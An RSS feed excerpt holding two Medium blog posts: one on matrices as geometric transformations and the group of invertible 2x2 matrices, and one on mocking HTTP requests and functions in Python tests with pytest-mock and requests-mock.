            <content:encoded><![CDATA[<p>Many of you have probably not just heard about but learned matrices in a university or a high school. When I was a freshman and took an algebra course at the university, I couldn’t understand the reason for learning matrices. The only questions I had in my mind were, “Why do people care about matrices? Why do we need to learn how to multiply them and find the inverse matrices?”, despite being a top student. Although, then I found out. So, let me show you how powerful matrices can be.</p><p>From the first look, a matrix is just a table of numbers. It doesn’t look impressive, and it’s still unclear why we need to represent numbers this way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*XbuI8kEd0buXII0bH3VCww.png" /></figure><p>Maybe you’ve heard about the evident and straightforward application of matrices — they are used to solve linear systems of equations, which usually are of huge size (even order of millions). In brief, each system of linear equations can be represented as <strong>A x = b</strong>, where:</p><ul><li>A is the matrix of coefficients</li><li>x is a column matrix of the unknowns</li><li>b is the column matrix, which contains the constants of the right-hand sides of the equations</li></ul><p>So, the solution (elements of the matrix <strong>x</strong>) can be found as <strong>x = A⁻¹ b</strong>. As you can see, here we need to know how to find the matrix product and the inverse matrix. However, it’s an obvious and basic example of matrices application, so we won’t talk much about it.</p><p>Actually, matrices are something more than just a table of numbers. It’s a “magic” tool that can help you to modify spaces.</p><p>Let’s consider the next triangle of three vectors in the Cartesian coordinate system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*s_0fLsP0Cnkt1Bw0Jsq9sg.png" /></figure><p>What if we want to rotate this triangle by 90 degrees? The easiest way to achieve this is… to use matrices! First, let’s write down the coordinates of the corresponding vectors as a matrix, knowing that <em>a</em> = (0, 1), <em>b</em> = (2, -1), <em>c</em> = (-2, 0):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*m7Oua71qJDKap3eDtDG8gw.png" /></figure><p>The rotation matrix by angle <em>α</em> looks the next way:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*OAcHzJji-0AlIHyGRtjKrg.png" /></figure><p>Hence, the 90° rotation matrix is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*NlNQCBXaAqEKOWLskS5Wag.png" /></figure><p>To rotate our triangle by 90°, we need to find the matrix product of <em>R</em> and <em>A</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*KxLD_jDUrLGhGZa4GXI6ew.png" /></figure><p>So, the transformed vectors are (-1, 0), (1, 2), and (0, -2):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*fN0BItxkayrpeX5gUUL4Tw.png" /></figure><p>So, this is a simple but impressive example of how matrices can help us rotate vectors in a specific basis of vectors. Actually, matrices can do much more than just rotation. For instance, let’s find the product of a random invertible matrix (let’s call it <em>S</em>) and our matrix <em>A</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*BxblE9Asxz6HUQOKm5bhXQ.png" /></figure><p>So, in the following image, you can see the stretched original triangle. The origin grid lines are dotted, and the grey lines represent the stretched grid lines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*cg798XZPTaXgucIssNbU4A.png" /></figure><p>As you can see, we can modify figures and surfaces using matrices. To apply multiple modifications to vectors, you should multiply them on the left-hand sight of the expression. Hence, if you want to stretch our triangle and then rotate it, the matrix of modified vectors will look the following way:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5P38ZNYW5SIyP7mxbbYMg.png" /></figure><p>Here’s the result on the graph:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*yUuLyMR8Dz_c1kGoVe6hRQ.png" /></figure><p>So, if you want to bring our new triangle back to its original state, you should apply the inverse matrices:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*MSTnT5uHd-g7SPzfMf49FQ.png" /></figure><p>As you can see, matrices can describe intuitively understandable things in a precise mathematical way. Moreover, the set of all 2×2 invertible matrices forms <strong>a group under multiplication</strong>! If you don’t know what groups are, check out <a href="https://medium.com/@nadzeya/the-beauty-of-group-theory-948df4038854">my article about them</a>.</p><p>Indeed, the set of 2×2 invertible matrices (let’s call it M) satisfies all the properties of a group:</p><ol><li>For any two matrices in M, their product belongs to M. It’s obvious that the product of matrices is a matrix, but will it always be an invertible matrix? So, since det(A B) = det(A) det(B) and both det(A) and det(B) don’t equal 0, det(A B) is also not equal to 0 and A B is an invertible matrix</li><li>For any three matrices in M, no matter in which order you apply the multiplication. So, (A B) C = A (B C) <br><strong>Caution!</strong> For arbitrary matrices, <strong>AB ≠ BA</strong>.</li><li>The identity 2×2 matrix <em>I</em> is a neutral element in this set.</li><li>For any invertible 2×2 matrix A, there’s always an inverse matrix A⁻¹ and A⁻¹ A = A A⁻¹ = <em>I</em></li></ol><p>Hence, the set of 2×2 invertible matrices is an excellent example of infinite, non-Abelian groups. And I hope you can now see how beautiful and powerful matrices can be. See you in my other posts!</p><h3>References</h3><p>[1] T. Panov (2019). <em>Linear Algebra and Geometry</em></p><p>[2] A. Kostrikin, Y. Manin. <em>Linear Algebra and Geometry</em></p><p>[3] Socratica. <em>Abstract Algebra course </em><a href="https://www.socratica.com/subject/abstract-algebra">https://www.socratica.com/subject/abstract-algebra</a></p><p>[4] 3Blue1Brown. <em>Matrix multiplication as composition </em><a href="https://www.youtube.com/watch?v=XkY2DOUCWMU">https://www.youtube.com/watch?v=XkY2DOUCWMU</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78093d2224ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How and When We Should Mock Python Functions in Tests]]></title>
            <link>https://medium.com/@nadzeya/how-to-test-functions-in-python-with-uncontrolled-results-4cf27ce7038d?source=rss-1660400ac68c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4cf27ce7038d</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[testing]]></category>
            <dc:creator><![CDATA[Nadzeya Hutsko]]></dc:creator>
            <pubDate>Sun, 16 Oct 2022 15:17:10 GMT</pubDate>
            <atom:updated>2024-02-23T11:08:33.737Z</atom:updated>
            <content:encoded><![CDATA[<h3>What’s Going On, or Introduction</h3><p>After reading the article title, you might wonder what “mock” is and what types of functions can return uncontrolled results. Let me describe. First, see examples of such functions, excluding the random module, which is an obvious example.</p><h4>1. Functions that make requests to remote servers</h4><p>Let’s consider a function that accepts a URL as an argument and checks which standard HTTP methods it supports (GET, POST, PUT, DELETE).</p><pre># checkurl.py<br>from requests import get, post, put, delete</pre><pre>def check_url(https://medium.com/url,%20params=None):<br>    &quot;&quot;&quot;<br>    Check which HTTP methods (GET, POST, PUT and DELETE) are supported<br>    by a URL. If the status code is 200, check that the response isn&#39;t empty</pre><pre>    :url: URL to be checked<br>    :return: tuple with supported methods<br>    &quot;&quot;&quot;<br>    result = []<br>    methods = {<br>        &quot;GET&quot;: get,<br>        &quot;POST&quot;: post,<br>        &quot;PUT&quot;: put,<br>        &quot;DELETE&quot;: delete,<br>    }<br>    for method, func in methods.items():<br>        resp = func(url, params=params)<br>        # Skip if the status code is 200 and the response is empty<br>        if resp.status_code == 200 and not resp.content:<br>            continue<br>        if resp.ok:<br>            result.append(method)<br>    return tuple(result)</pre><p>It’s a pretty simple function, but it depends on the network connectivity and the server state. That’s why, even if you specify valid values for the url and params arguments, the function can exit with an error.</p><p>So, suppose we want to test it. In that case, we need to imitate the remote server’s behaviour and return an expected valid result because we don’t need to test its original behaviour.</p><h4>2. Functions that depend on time, geolocation, etc.</h4><p>Now we have a function that returns today’s weather forecast for a place where you’re located. I’m not providing the code of such a function because it’s more complicated than the previous one and would make the article abstruse.</p><p>Since you may be located almost anywhere on the Earth and execute the script anytime, the result is a bit arbitrary. For instance, look at how different temperature is in various counties in the world! <em>To be honest, I just wanted to use a colourful image for the preview of my article, so scroll on).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5HwVylVuDanPhe-SNcM2Hw.png" /><figcaption>Source: <a href="https://www.ventusky.com/">https://www.ventusky.com/</a></figcaption></figure><h3>What is mocking?</h3><p>Let’s get straight to the point. Mocking means simulating the behaviour of real objects in controlled ways. To solve the problems with writing tests for the first function, you need to create fake responses, which servers usually return, but not while testing. To test the second function, you must mimic functions from corresponding libraries that get you the current time and geolocation. Such fake functions should return <strong>specific</strong> values, not arbitrary ones.</p><h3>How to Mock</h3><p>In this article, I’ll use pytest for explicate testing with mock. If you require using the unittest library, what’s <a href="https://www.youtube.com/watch?v=WFRljVPHrkE">this video</a> and read the “Fake a Function” section to be aware of the pitfalls, which are the same for both libraries.</p><p>You require installing the requests-mock library to imitate a server&#39;s behaviour. The pytest-mock package helps to control a result of a function used in the tested one.</p><h4>Imitate Server Behaviour</h4><p>Let’s write the test for the check_url function from the first example. Here, we need to construct responses for each request that this function does. We can do it with the requests-mock library the following way:</p><pre># tests.py</pre><pre>from checkurl import check_url</pre><pre>def test_check_url(https://medium.com/requests_mock):<br>    &quot;&quot;&quot;<br>    Check that if a request returns 200 or 301 code, the check_url functions<br>    consider it as a supported one, and otherwise for 400 and 500 codes<br>    &quot;&quot;&quot;<br>    test_url = &quot;&lt;http://foobar&gt;&quot;<br>    requests_mock.get(test_url, status_code=200, content=b&quot;test&quot;)<br>    requests_mock.post(test_url, status_code=301)<br>    requests_mock.put(test_url, status_code=400)<br>    requests_mock.delete(test_url, status_code=500)</pre><pre>    methods = check_url(https://medium.com/test_url)<br>    assert methods == (&quot;GET&quot;, &quot;POST&quot;)</pre><p>I want you to pay attention to the following points:</p><ul><li>You don’t need to import requests_mock directly with the import statement. Just pass it as a function argument</li><li>The HTTP methods are specified as methods of the requests_mock library, the same way you do it working with the requests library</li><li>You can pass the response content as the content argument. The value should be a byte-string</li><li>If you want to return a JSON object, you should specify it as the json argument. For instance, requests_mock.get(test_url, status_code=200, json={&quot;key&quot;: &quot;value&quot;})</li></ul><p>To check that this test works, fun pytest tests.py. I assume you give the files the specified names, and the files are located in the same directory.</p><p>As a result, the test can be executed without network connectivity and doesn’t depend on the exterior conditions.</p><h4>Fake a Function</h4><p>Another way to test the check_url function is to mock the get, post, put and delete methods from the requests library. Here, you need to pass the “mocker” parameter in the test function:</p><pre>from checkurl import check_url<br>from requests import Response</pre><pre>def test_check_url(https://medium.com/mocker):<br>    &quot;&quot;&quot;<br>    Check that if a request returns 200 or 301 code, the check_url functions<br>    consider it as a supported one, and otherwise for 400 and 500 codes<br>    &quot;&quot;&quot;<br>    test_url = &quot;&lt;http://foobar&gt;&quot;</pre><pre>    get_response = Response()<br>    get_response.status_code = 200<br>    get_response._content = b&#39;test&#39;<br>    mocker.patch(&quot;checkurl.get&quot;, return_value=get_response)</pre><pre>    post_response = Response()<br>    post_response.status_code = 301<br>    mocker.patch(&quot;checkurl.post&quot;, return_value=post_response)</pre><pre>    put_response = Response()<br>    put_response.status_code = 400<br>    mocker.patch(&quot;checkurl.put&quot;, return_value=put_response)</pre><pre>    delete_response = Response()<br>    delete_response.status_code = 500<br>    mocker.patch(&quot;checkurl.delete&quot;, return_value=delete_response)</pre><pre>    methods = check_url(https://medium.com/test_url)<br>    assert methods == (&quot;GET&quot;, &quot;POST&quot;)</pre><p>The mocking is quite tricky here, and I want you to notice the following <strong>pitfalls.</strong></p><ul><li>You might think that we need to patch the requests.get instead of the checkurl.get function since it’s defined in the requests library. However, if you replace checkurl with requests here, the mocking library will fake the original function but not the one imported in the checkurl.py file. It’s crucial to keep an eye on a function that you mock. So, <strong>if a function is imported directly into the module where the tested function uses it, you should mock the imported function and specify its name with the module name, not the library one.</strong></li><li>The return_value argument is usually used to produce something valid. If you need to raise an exception, use the side_effect parameter. In addition, it can be used if the mocked function is called several times, and you want to return distinct results.</li></ul><p>I hope you enjoy reading this article. If you want to know more about mocking, check the official documentation in the References.</p><h3>References</h3><p>[1] <a href="https://docs.python.org/3/library/unittest.mock.html">Unittest.mock Official Documentation</a></p><p>[2] <a href="https://pytest-mock.readthedocs.io/en/latest/">Pytest-Mock Documentation</a></p><p>[3] <a href="https://requests-mock.readthedocs.io/en/latest/">Requests-mock’s Documentation</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4cf27ce7038d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>